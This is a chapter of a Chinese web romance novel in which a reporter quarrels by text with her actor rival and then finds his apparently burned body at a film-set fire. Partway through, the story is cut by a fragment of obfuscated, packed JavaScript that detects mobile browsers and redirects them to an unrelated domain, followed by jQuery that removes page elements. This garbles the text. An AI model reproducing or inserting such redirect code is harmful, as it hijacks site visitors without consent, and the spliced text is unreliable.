4. 04.高音
作品:《穿到三年后成了死对头老婆》 泗水巷,街口冒着热气腾腾的鲜活白烟,三两个小孩跳腾着垫脚去抓,把雾气挥得歪扭散开。
陈疏音从公司打的回来,这几个毛孩贴着车玻璃不肯走,抓得起兴,不知轻重地往车门上撞,她没办法,换了个方向从车上下来。
人还没站稳呢,一道熟悉的手劲擒着她手腕往外拽,“诶?”
等她三摇两晃站定时,方老太已经插着腰神气十足地矗立在她面前笑话她了。
“外婆,您干嘛?”陈疏音还以为是当街有人抢劫,被她吓了一跳,捂住胸口无奈地咬唇。
老人家举起手里的白色塑料袋,水汽滚滚,黏在板栗的纸壳上,隐隐还能闻见刚出炉时又脆又糯的甜香。
陈疏音忙活了一上午的疲惫被消散了个一干二净,搀着方老太的手臂,“你怎么知道我今天会来?还特地买了炒板栗。”
方老太一反往常,“我不知道呀,这是我在市场买菜出来碰见从这路过的小裴,他给我的。”
“小裴?”陈疏音站直身子,“裴郁?”
“是啊,几个月没见,小伙子又长帅了。他父母真会生。”方老太说得眉飞色舞,“你看看人家,和你一样是同学,现在都当大明星了,人不忘本,还晓得给我送东西。”
“你呢?我早跟你说过了,你逢年过节的时候去人家家里走一趟,回个礼,你偏不,每天就守着你那二亩三分地,能发财?”
方老太越说越起劲,陈疏音的紧箍咒又犯了,茫然地抱住脑袋,直着身板往楼上冲。
都怪死裴郁。
从来没见过有人心机能深沉成他那样,通过打进敌方军营来从内瓦解她的精神支柱。
在她外婆面前献殷勤,掩盖住自己在学校老欺负她的证据。
面具型人格,最适合立人设当明星了。
陈疏音在几十米的距离里骂了他一路,拉开房门钻了进去,听见门口方老太合门的声音,用背死抵住房门,丧着脸抱胸。
敲门声如期响起,“你这孩子,我又让你不愉快啦?一提小裴你就炸,你妈眼神不好,找个那样的男人,你现在怎么也走她的老路呢?小裴多好一个孩子,这些年我都看在眼里,你们成不了,当个朋友也行啊。”
陈疏音反省自己每次在外受了点挫就喜欢来老太太这休憩的毛病,但又忍不住炸毛,“外婆,你到底要我说多少遍,我从来没喜欢过他。你就是被他的外貌给迷惑了。”
“不喜欢帅的,难道还喜欢丑的吗?”方老太点到为止,“洗个手出来帮忙煮菜,还没吃饭吧?”
屋内安静了片刻,门缝拉出一道,陈疏音的脑瓜探出来,冷森森地甩着手跟进厨房。
“音音。”方老太择着菜,语重心长喊她,“那两个不孝的,这段时间联系你没?”
陈疏音开着水龙头冲白菜,没太听清,“啊?”
“你爸妈!联没联络你?”
陈疏音不在意地说:“没,怎么突然问起他们了?”
方老太摇摇头,疼惜地望着她,长吁一口气,“没什么,让你遭罪了,要是后边他们再找你,你一定要坚守立场,不要轻易动摇,听见没?”
陈疏音揉着耳垂,把溅到脸上的水蹭掉,眼睛里干净得发空,像是真的无所谓,“嗯,记住啦。”
“你也是,连哭都不会。”方老太突地又转变脸色,烂泥扶不上墙似诘难道:“你看人刘依然都哭了几个男朋友了,你还是个单身汉。”
“方呦呦女士,你不要拿别人的隐私来作比较好不好?”陈疏音撕着菜叶,嘴里振振有词,“消失、不消失、消失……”
“你要不和裴郁试试?”方老太灵活地凑到她眼前,稀薄又白黑交接的头发也学小年轻剪个八字刘海,恰好遮住黄斑点点的皱纹,此刻在她面前一清二楚。
本来挺心疼的,现在觉得这老太太实在是可恶。
要是她生命中没有裴郁就好了。陈疏音闷声把最后一片菜叶丢入篮子,完美进框,“消失。”
她把老人家推出厨房,垂头无神地把几个菜快速小炒出锅,端上客厅的餐桌,招呼着她吃饭。
电视被调到潭竹卫视,正在播放裴郁的新剧。
古偶玄幻题材,是他大四时复出拍的作品。他在里边饰演一个背负凄惨身世但又有玄力的天才少年,在求仙问道的路上碰到一群志同道合的朋友,创出一片天地诛杀奸佞邪祟,最后团圆美满还人世一片光明。
当前的片段正巧是他身穿青白色玄衣,执剑从天而降,挥刀英雄救美。
方老太看得入迷,嫌弃陈疏音挡了她的道,扬手扒开她,“快坐下。”
陈疏音脸黑地背对而坐,把脸埋入碗里大口吞饭。
她从不看裴郁的剧,之前也好,现在也罢,和他本人相距太大,让她有些出戏。
近期剧里的片段频频被剪辑火出圈,他和女主不亲不抱,没有任何吻戏加持的情况下,cp感爆棚,网友嗑得热火朝天,两人的合帖讨论量频频登顶。
Cp粉哇声一片,哀嚎“古偶怎么可以连嘴都不亲,这都快要大结局了。”
陈疏音忽而想到助理和他说的话。
他这会儿估计已经在和女主角补拍吻戏了。
方老太着迷看了几十分钟,堪堪停下来,叫住她,“你一会儿把门口那袋红薯给裴郁提过去。”
“?”陈疏音一脸雾水,“我怎么提?”
“发短信,打电话,多大个人了,不会想办法?”方老太招手叫她滚蛋,把烤板栗和栗子糕一并挂她指间,“我不管,我不白拿人家的东西。你不给的话你就把这些全还给他。”
陈疏音见她耍无赖,没折地应了,抽出手机给裴郁发信息。
最后一条,她保证。
音符在树上跳舞:【还在呼吸吗?】
裴郁秒回。
Py:【不好意思,强健有力地活着。】
音符在树上跳舞:【你干嘛又不经过我同意给我外婆送东西?】
Py:【就为这事?我想送就送,为什么要经过你?】
陈疏音一口气差点没提上来,他又发来一条。
Py:【经过了你,老人家还有的吃吗?】
他看字是选着看的吗?牛头不对马嘴。
她外婆本来就不爱吃,难不成是外婆给她买的时候被裴郁给监视了?
陈疏音懒得废话。
音符在树上跳舞:【多事,外婆让我给你送红薯,你在哪拿方便。】
Py:【自然是送我手里。不然,你煮好了剥干净给我,我会更乐意。】
音符在树上跳舞:【想屁吃。】
Py:【我以为你送红薯来就是这个意思。】
好无聊的话。
陈疏音没回,切出屏幕打车,那头又发来消息。
Py:【剧组,泗水河对岸拍摄点。桥封了,你走大路绕一下。】
音符在树上跳舞:【你还真想让我送你手里,我才不要去看你拍吻戏。】
Py:【?】
Py:【谁告诉你我是在拍吻戏。】
音符在树上跳舞:【网上说的。】
Py:【你就是以后老了买保健品的那批人。】
???
什么意思,骂她是吧?
音符在树上跳舞:【你选个地方,我放那你抽空去拿。】
裴郁没回,隔两分钟发她一条语音。
他音色会根据角色变化,台词底子好,正经说话时台词入耳,确有魅惑耳朵的能力。
在校时常年是广播站的主席,他播音期间,荣获的全是表白好评。
陈疏音猜测他目前估计在拍少年期的戏份,声色清薄,羽毛般又带点钩子,好似活脱脱的鲜衣怒马少年郎在和她玩角色对话,轻佻又不唐突,“不是说我在拍吻戏,不亲自来看看,想让我平白无故蒙冤啊。”
音符在树上跳舞:【你当我没说。】
Py:【那可不行,说出去的话就是泼出去的水,也要考虑一下被你无辜泼到的受害者的感受。】
陈疏音一气之下键盘打得噼里啪啦,回怼他一句。
音符在树上跳舞:【你是演员,拍吻戏怎么了?别一副好像吻戏沾染了你纯净灵魂的清高样子。】
另一头,裴郁正在补妆,手机滑抖了一下,他心底一空,眼快手准地抓牢,轻嗤了声。
长按住语音,“陈疏音,不是你先在意的吗?”
他往右滑发送,迟钝了瞬,又往左取消,重新摁语音条,“陈疏音,你一点都不在意是吗?”
接着,他重复以上的动作,又没发出去。
“小裴,准备开拍。”
裴郁心气不顺地关上屏幕,将手机放在原地,转身进了拍摄棚。
陈疏音看对面输入了半天没动静,直接摁灭了手机,钻上了去对面的车。
*
“怎么回事?前面堵死了。”断断续续堵了十几分钟,司机不耐烦地拍着方向盘,开窗探出脑袋往前眺,“我特地走的另一条路,还给我堵。”
陈疏音闻声抬起头,从前窗看到一眼望不到头、重重叠叠的车队,“会不会是发生什么交通事故了?”
司机拉开车门前嘱咐道:“小妹啊,你在车上等我一下,我下去看看。”
陈疏音应了声,出于记者的职业敏觉度,她打开手机查询台内群聊,猝地在一条内部消息转载那,看到这几个字样——“泗水河拍摄点起火,演员裴郁疑似遇难。”
“砰。”陈疏音脑中一阵訇然,仿佛有人纠着她的头皮把她的肌肤生拉硬扯下来,酸麻顷刻遍布全身。
她用手背用力地搓揉着视线,来回辨认这几个字。
肌肉记忆带动,不以为意地笑了声,像是强行把自己摁头泡到凉水里清醒。
为了制造噱头提前编纂并放出骇人听闻的标题吸引流量,不是常见的业内作为吗?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043176|162635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>这她也信。
不等她再疑问,火场有记者受伤,台内人手紧缺,陈疏音被召回返工,需立即赶往火灾现场。
司机去了未归,连个人影都看不见。
陈疏音这才有了实感,慌慌张张地提拉着手里的东西,拉开车门又折回来扫码付款,手抖得二维码怎么也对不准,直至她用另一只手摁住,才将将把钱付过去。
她绕开车行跑到人行道,沿河一路狂奔。
干冷的空气灌入喉管和肺部,她的呼吸节奏全然乱套,急切的喘气声像是受到了惊恐一遍比一遍缓慢强烈。
吞咽间已有了血腥的味道,但陈疏音什么都没想,脚步依旧不停歇。
一路上因跑得太急撞到了石壁建筑,膝盖被磕出了青印,新鲜的红薯从袋子里滚落出来,碾了一地。
身后好像有人在叫她。
她什么也顾不上了。
只是作为记者的个人职业素养而已,换做是别人她也会这么着急。
他是死得其所,但不能死得正巧吧?她才骂了他。
断胳膊断腿毁容怎么样都行,她起码还能气定神闲地在病床前取笑他一下,可千万别死啊。
裴郁,火烧你身上了你也得给我爬出来你听见没有。
陈疏音也不记得跑了多久,冲到目的地时已拉起了警戒线,消防车正排列在外有序灭火。
人声闹哄,眼前的火光灼目,橙红的火焰纵情地往外延伸舔舐更多建筑,火还在无止境地烧。
“疏音,你终于来了,你、你没事吧?”刘依然一眼望见她,担忧地抱住她手臂,抚她背脊平息她猛烈起伏的胸口。
“裴郁呢?”陈疏音接过手麦,往身上缠绕,视线又在医护人员那搜寻,她嗓子干得发沙,又低又哑。
“你、你别担心,那些媒体乱写的,还在找。”刘依然结结巴巴地安慰她。
陈疏音不信,跑进前线,一手拍摄讲解火势,间隙抓到人问出名单,音色发颤,“只有裴郁没找到?你们确定他在拍摄现场吗?”
“确定,我亲眼看着他拍的。”导演也急得团团转,“他当时是有机会出来的,就是非要转头去救那条狗,狗是跑出来了,他、他就……”
围观的群众里,隐约传来一句低语,“这么久了,怕不是在里面烧成灰了吧。”
火光燃得那样煞白明亮,呛人的热烟滚滚而出,隔着远远的距离仍旧能感受到机体表面的灼热,然而陈疏音浑身上下却像被冷水淋浇了一遍又一遍,僵硬麻木得无法动弹。
思绪也开始宕机了。
良久,火在消防车一遍遍的喷淋下灭掉。
只剩原地烧黑的残肢败垣,三两个消防员从里抬着担架走出,医护人员冲上去。
一个更快的身影越过他们,从坑洼不平的地面迎上,一把扒住架头。
忐忑、焦急和没有由来的担心,在此时上升到顶点。
一具从头黢黑到尾的没有一点生命象征,甚至看不出来生前是个人的尸体,毫无遮挡地摊开在她眼下。
陈疏音的两只眼睛无法控制地发颤,天旋地转但如何转,心黑的裴郁无声地躺在她面前,毫无还手之力。
不会的,前一个小时还在跟她吵嘴,下一秒怎么好端端就躺着不动了呢?
他是演员啊,最好面儿了,怎么能把他的脸烧成她都分辨不清是不是他的样子。
陈疏音死挡在他前边,用身体遮住拍摄,扯走白布严丝合缝地盖在他身上,“都不准拍了!”
然而吼出这一声,她才察觉,她身上还别着采访的麦克风。
向来跟她不对付的人死在她面前,她还是现场报道的记者之一。
听着应该高兴才对啊,你讨厌的人终于不会再出现在你面前了。物理上的消亡后,一切和他有关的东西,都会封存在过往,再也不会惹你烦心。
裴郁啊裴郁,不就是偷偷咒骂了你几句,连生死的玩笑也开?
陈疏音的手搭在他手背,手心还能感知到被火灼烧后的余温。
她将烧伤的手翻过来,腕部的一道圆形齿印疤痕若隐若现,那是她高三毕业那年暑假被他截胡了表白咬的,旁边一颗褐色的痣被烧得只剩一点边缘。
一个小时前,那儿有涌动的脉搏,本该是血液的温度。
陈疏音脸上没有太激烈的表情变动,甚至可以说得上是平和。
发酸的雨水从小至大集结倾撒,短短几分钟内就把她的头发打湿,一对眸子开阀般被从上而下的水流溢满,止不住地往下流,隔着白布滴到他身体,也流进她唇缝,尝到苦涩的咸味。
“陈记者,你冷静一下。”
冷静,她很冷静啊,她都没有哭,就是不知道为什么雨水的味道变得那么难喝。
手脚变得沉甸甸的,有人从后拉开她,她就势倒下去,闭眼前,看见担架从她身前擦过。
裴郁的手从上垂落,在半空中惯性甩了两下,像是在跟她道别。